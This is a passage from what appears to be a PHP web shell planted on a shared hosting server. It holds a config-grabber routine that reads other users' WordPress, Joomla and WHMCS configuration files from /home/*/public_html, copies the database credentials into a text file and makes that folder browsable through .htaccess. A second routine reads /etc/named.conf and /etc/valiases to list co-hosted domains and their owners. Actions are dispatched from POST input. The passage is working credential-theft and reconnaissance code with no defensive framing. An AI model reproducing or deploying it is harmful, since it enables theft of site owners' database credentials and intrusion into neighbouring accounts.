3391 fwrite($handle, $content12 . $space);
3392 fclose($handle);
3393 } elseif (file_exists('/home/' . $lol . '/public_html/blog/wp-config.php')) {
3394 $content13 = file_get_contents('/home/' . $lol . '/public_html/blog/wp-config.php');
3395 $handle = fopen('TDA/config.txt', 'a');
3396 fwrite($handle, $content13 . $space);
3397 fclose($handle);
3398 } elseif (file_exists('/home/' . $lol . '/public_html/wp/wp-config.php')) {
3399 $content14 = file_get_contents('/home/' . $lol . '/public_html/wp/wp-config.php');
3400 $handle = fopen('TDA/config.txt', 'a');
3401 fwrite($handle, $content14 . $space);
3402 fclose($handle);
3403 } elseif (file_exists('/home/' . $lol . '/public_html/home/wp-config.php')) {
3404 $content15 = file_get_contents('/home/' . $lol . '/public_html/home/wp-config.php');
3405 $handle = fopen('TDA/config.txt', 'a');
3406 fwrite($handle, $content15 . $space);
3407 fclose($handle);
3408 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
3409 $content16 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
3410 $handle = fopen('TDA/config.txt', 'a');
3411 fwrite($handle, $content16 . $space);
3412 fclose($handle);
3413 } elseif (file_exists('/home/' . $lol . '/public_html/main/wp-config.php')) {
3414 $content17 = file_get_contents('/home/' . $lol . '/public_html/main/wp-config.php');
3415 $handle = fopen('TDA/config.txt', 'a');
3416 fwrite($handle, $content17 . $space);
3417 fclose($handle);
3418 } elseif (file_exists('/home/' . $lol . '/public_html/site/wp-config.php')) {
3419 $content18 = file_get_contents('/home/' . $lol . '/public_html/site/wp-config.php');
3420 $handle = fopen('TDA/config.txt', 'a');
3421 fwrite($handle, $content18 . $space);
3422 fclose($handle);
3423 } elseif (file_exists('/home/' . $lol . '/public_html/configuration.php')) {
3424 $content19 = file_get_contents('/home/' . $lol . '/public_html/configuration.php');
3425 $handle = fopen('TDA/config.txt', 'a');
3426 fwrite($handle, $content19 . $space);
3427 fclose($handle);
3428 } elseif (file_exists('/home/' . $lol . '/public_html/blog/configuration.php')) {
3429 $content20 = file_get_contents('/home/' . $lol . '/public_html/blog/configuration.php');
3430 $handle = fopen('TDA/config.txt', 'a');
3431 fwrite($handle, $content20 . $space);
3432 fclose($handle);
3433 } elseif (file_exists('/home/' . $lol . '/public_html/joomla/configuration.php')) {
3434 $content21 = file_get_contents('/home/' . $lol . '/public_html/joomla/configuration.php');
3435 $handle = fopen('TDA/config.txt', 'a');
3436 fwrite($handle, $content21 . $space);
3437 fclose($handle);
3438 } elseif (file_exists('/home/' . $lol . '/public_html/main/configuration.php')) {
3439 $content22 = file_get_contents('/home/' . $lol . '/public_html/main/configuration.php');
3440 $handle = fopen('TDA/config.txt', 'a');
3441 fwrite($handle, $content22 . $space);
3442 fclose($handle);
3443 } elseif (file_exists('/home/' . $lol . '/public_html/home/configuration.php')) {
3444 $content23 = file_get_contents('/home/' . $lol . '/public_html/home/configuration.php');
3445 $handle = fopen('TDA/config.txt', 'a');
3446 fwrite($handle, $content23 . $space);
3447 fclose($handle);
3448 } elseif (file_exists('/home/' . $lol . '/public_html/site/configuration.php')) {
3449 $content24 = file_get_contents('/home/' . $lol . '/public_html/site/configuration.php');
3450 $handle = fopen('TDA/config.txt', 'a');
3451 fwrite($handle, $content24 . $space);
3452 fclose($handle);
3453 } elseif (file_exists('/home/' . $lol . '/public_html/whm/configuration.php')) {
3454 $content25 = file_get_contents('/home/' . $lol . '/public_html/whm/configuration.php');
3455 $handle = fopen('TDA/config.txt', 'a');
3456 fwrite($handle, $content25 . $space);
3457 fclose($handle);
3458 } elseif (file_exists('/home/' . $lol . '/public_html/whmc/configuration.php')) {
3459 $content26 = file_get_contents('/home/' . $lol . '/public_html/whmc/configuration.php');
3460 $handle = fopen('TDA/config.txt', 'a');
3461 fwrite($handle, $content26 . $space);
3462 fclose($handle);
3463 } elseif (file_exists('/home/' . $lol . '/public_html/support/configuration.php')) {
3464 $content27 = file_get_contents('/home/' . $lol . '/public_html/support/configuration.php');
3465 $handle = fopen('TDA/config.txt', 'a');
3466 fwrite($handle, $content27 . $space);
3467 fclose($handle);
3468 } elseif (file_exists('/home/' . $lol . '/public_html/client/configuration.php')) {
3469 $content28 = file_get_contents('/home/' . $lol . '/public_html/client/configuration.php');
3470 $handle = fopen('TDA/config.txt', 'a');
3471 fwrite($handle, $content28 . $space);
3472 fclose($handle);
3473 } elseif (file_exists('/home/' . $lol . '/public_html/billings/configuration.php')) {
3474 $content29 = file_get_contents('/home/' . $lol . '/public_html/billings/configuration.php');
3475 $handle = fopen('TDA/config.txt', 'a');
3476 fwrite($handle, $content29 . $space);
3477 fclose($handle);
3478 } elseif (file_exists('/home/' . $lol . '/public_html/billing/configuration.php')) {
3479 $content30 = file_get_contents('/home/' . $lol . '/public_html/billing/configuration.php');
3480 $handle = fopen('TDA/config.txt', 'a');
3481 fwrite($handle, $content30 . $space);
3482 fclose($handle);
3483 } elseif (file_exists('/home/' . $lol . '/public_html/clients/configuration.php')) {
3484 $content31 = file_get_contents('/home/' . $lol . '/public_html/clients/configuration.php');
3485 $handle = fopen('TDA/config.txt', 'a');
3486 fwrite($handle, $content31 . $space);
3487 fclose($handle);
3488 } elseif (file_exists('/home/' . $lol . '/public_html/whmcs/configuration.php')) {
3489 $content32 = file_get_contents('/home/' . $lol . '/public_html/whmcs/configuration.php');
3490 $handle = fopen('TDA/config.txt', 'a');
3491 fwrite($handle, $content32 . $space);
3492 fclose($handle);
3493 } elseif (file_exists('/home/' . $lol . '/public_html/order/configuration.php')) {
3494 $content33 = file_get_contents('/home/' . $lol . '/public_html/order/configuration.php');
3495 $handle = fopen('TDA/config.txt', 'a');
3496 fwrite($handle, $content33 . $space);
3497 fclose($handle);
3498 } elseif (file_exists('/home/' . $lol . '/public_html/admin/conf.php')) {
3499 $content34 = file_get_contents('/home/' . $lol . '/public_html/admin/conf.php');
3500 $handle = fopen('TDA/config.txt', 'a');
3501 fwrite($handle, $content34 . $space);
3502 fclose($handle);
3503 } elseif (file_exists('/home/' . $lol . '/public_html/admin/config.php')) {
3504 $content35 = file_get_contents('/home/' . $lol . '/public_html/admin/config.php');
3505 $handle = fopen('TDA/config.txt', 'a');
3506 fwrite($handle, $content35 . $space);
3507 fclose($handle);
3508 } elseif (file_exists('/home/' . $lol . '/public_html/conf_global.php')) {
3509 $content36 = file_get_contents('/home/' . $lol . '/public_html/conf_global.php');
3510 $handle = fopen('TDA/config.txt', 'a');
3511 fwrite($handle, $content36 . $space);
3512 fclose($handle);
3513 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
3514 $content37 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
3515 $handle = fopen('TDA/config.txt', 'a');
3516 fwrite($handle, $content37 . $space);
3517 fclose($handle);
3518 } elseif (file_exists('/home/' . $lol . '/public_html/connect.php')) {
3519 $content38 = file_get_contents('/home/' . $lol . '/public_html/connect.php');
3520 $handle = fopen('TDA/config.txt', 'a');
3521 fwrite($handle, $content38 . $space);
3522 fclose($handle);
3523 } elseif (file_exists('/home/' . $lol . '/public_html/mk_conf.php')) {
3524 $content39 = file_get_contents('/home/' . $lol . '/public_html/mk_conf.php');
3525 $handle = fopen('TDA/config.txt', 'a');
3526 fwrite($handle, $content39 . $space);
3527 fclose($handle);
3528 } elseif (file_exists('/home/' . $lol . '/public_html/include/config.php')) {
3529 $content40 = file_get_contents('/home/' . $lol . '/public_html/include/config.php');
3530 $handle = fopen('TDA/config.txt', 'a');
3531 fwrite($handle, $content40 . $space);
3532 fclose($handle);
3533 } elseif (file_exists('/home/' . $lol . '/public_html/settings.php')) {
3534 $content41 = file_get_contents('/home/' . $lol . '/public_html/settings.php');
3535 $handle = fopen('TDA/config.txt', 'a');
3536 fwrite($handle, $content41 . $space);
3537 fclose($handle);
3538 } elseif (file_exists('/home/' . $lol . '/public_html/includes/functions.php')) {
3539 $content42 = file_get_contents('/home/' . $lol . '/public_html/includes/functions.php');
3540 $handle = fopen('TDA/config.txt', 'a');
3541 fwrite($handle, $content42 . $space);
3542 fclose($handle);
3543 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
3544 $content43 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
3545 $handle = fopen('TDA/config.txt', 'a');
3546 fwrite($handle, $content43 . $space);
3547 fclose($handle);
3548 }
3549 }
3550 $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/POPANDA/';
3551 if (file_exists("TDA/config.txt")) {
3552 echo '<h3 class="TDA"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></h3>';
3553 $myfile = fopen("POPANDA/.htaccess", "w") or die("Unable to open file!");
3554$txt = "Options +Indexes";
3555fwrite($myfile, $txt);
3556fclose($myfile);
3557 } else {
3558 echo '<h3 class="TDA"><center><a href="' . $url . '" target="_blank"> 0 Config Grab :( </a></h3>';
3559 }
3560
3561 printFooter();
3562}
3563
3564function actionShared() {
3565 printHeader();
3566 $file = @implode(@file("/etc/named.conf"));
3567if (!$file) {
3568die("# can't ReaD -> [ /etc/named.conf ]");
3569}
3570preg_match_all("#named/(.*?).db#", $file, $r);
3571$domains = array_unique($r[1]);
3572{
3573foreach ($domains as $domain) {
3574$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
3575$array= "http://$domain " . $user['name'] . "<br>";
3576$lol= '' . get_current_user();
3577if (strpos($array, "$lol") !== false) {
3578$shared = str_replace(array(" $lol"), "", $array);
3579echo "<center>$shared";
3580}
3581}
3582}
3583 printFooter();
3584}
3585
3586if( empty($_POST['a']) )
3587 if(isset($default_action) && function_exists('action' . $default_action))
3588 $_POST['a'] = $default_action;
3589 else
3590 $_POST['a'] = 'SecInfo';
3591if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3592 call_user_func('action' . $_POST['a'])
3593?>